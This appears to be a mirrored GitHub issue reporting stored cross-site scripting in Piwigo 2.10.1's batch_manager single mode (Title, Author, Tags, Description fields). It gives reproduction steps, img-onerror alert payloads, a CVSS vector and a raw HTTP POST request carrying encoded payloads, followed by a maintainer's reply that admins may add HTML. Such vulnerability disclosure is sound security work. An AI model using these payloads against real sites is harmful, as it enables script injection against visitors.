adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-31 06:02:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Multiple Stored Cross-Site Scripting vulnerabilities in "batch_manager" page in single mode. "Title", "Author" and "Tags" field affected #998

New Issue
Closed
opened 2026-10-05 00:27:48 +02:00 by adam · 2 comments
adam commented 2026-10-05 00:27:48 +02:00
Owner
Copy link
Copy source

Description:

Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected.

How to reproduce:

  1. Login into the application and upload any image file.
  2. Go to the "batch_manager" page under "Photos" menu.
  3. In "Single Mode" tab, insert the payload or <img src="X" onerror=alert("Author")> in "Title", "Author", "Tags", and "Description" fields and hit enter.
  4. Then view the image in recent photos page. Any user who visits the photos page is affected.

CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N

POST /piwig/admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D

element_ids=1&name-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%281%29%22%3B%3E&author-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%282%29%22%3B%3E&date_creation-1=&level-1=0&description-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%284%29%22%3B%3E%0D%0A&submit=Submit

Description_Xss
SIngle mode_Xss
Title_Single_Mode
Title_Single_Mode_Xss

Description: Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected. How to reproduce: 1. Login into the application and upload any image file. 2. Go to the "batch_manager" page under "Photos" menu. 3. In "Single Mode" tab, insert the payload <img src="X" onerror="alert(document.domain)"> or <img src="X" onerror=alert("Author")> in "Title", "Author", "Tags", and "Description" fields and hit enter. 4. Then view the image in recent photos page. Any user who visits the photos page is affected. CVSS Score: CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N ********************************************************************************************************* POST /piwig/admin.php?page=batch_manager&mode=unit HTTP/1.1 Host: 172.16.163.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 258 Origin: http://172.16.163.1 Connection: close Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D element_ids=1&name-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%281%29%22%3B%3E&author-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%282%29%22%3B%3E&date_creation-1=&level-1=0&description-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%284%29%22%3B%3E%0D%0A&submit=Submit ********************************************************************************************************* ![Description_Xss](https://user-images.githubusercontent.com/25206084/72730968-a6ff6c80-3bb8-11ea-9736-8c9921069e33.JPG) ![SIngle mode_Xss](https://user-images.githubusercontent.com/25206084/72730970-a7980300-3bb8-11ea-92bf-1415f96f3719.JPG) ![Title_Single_Mode](https://user-images.githubusercontent.com/25206084/72730972-a8309980-3bb8-11ea-9018-0c4547006686.JPG) ![Title_Single_Mode_Xss](https://user-images.githubusercontent.com/25206084/72730973-a8c93000-3bb8-11ea-9d52-0a171e5a0356.JPG) <!-- github-sync-id:552305568 -->
adam closed this issue 2026-10-05 00:27:48 +02:00
adam commented 2026-10-05 00:27:49 +02:00
Author
Owner
Copy link
Copy source

That's not a bug. Piwigo let the administrator add HTML in a photo title.

That's not a bug. Piwigo let the administrator add HTML in a photo title. <!-- github-comment-id:583479187 -->
adam commented 2026-10-05 00:27:50 +02:00
Author
Owner
Copy link
Copy source

Is administrator allowed to add HTML in "Author" and "Tags" fields too?

Is administrator allowed to add HTML in "Author" and "Tags" fields too? <!-- github-comment-id:583489495 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#998